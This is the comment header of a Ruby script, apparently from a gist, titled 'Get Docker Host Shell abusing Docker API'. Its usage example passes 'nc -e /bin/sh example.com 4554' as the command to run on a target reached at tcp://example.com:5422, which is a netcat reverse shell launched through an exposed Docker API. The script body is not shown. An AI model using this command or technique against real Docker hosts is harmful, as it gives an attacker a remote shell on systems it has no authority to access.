This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# Get Docker Host Shell abusing Docker API | |
# Copyright (C) 2015 Kost. Distributed under GPL. | |
# | |
# Prerequisite: | |
# gem install docker-api | |
# | |
# Example: | |
# ./docker_get_host_shell.rb -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422 | |
# |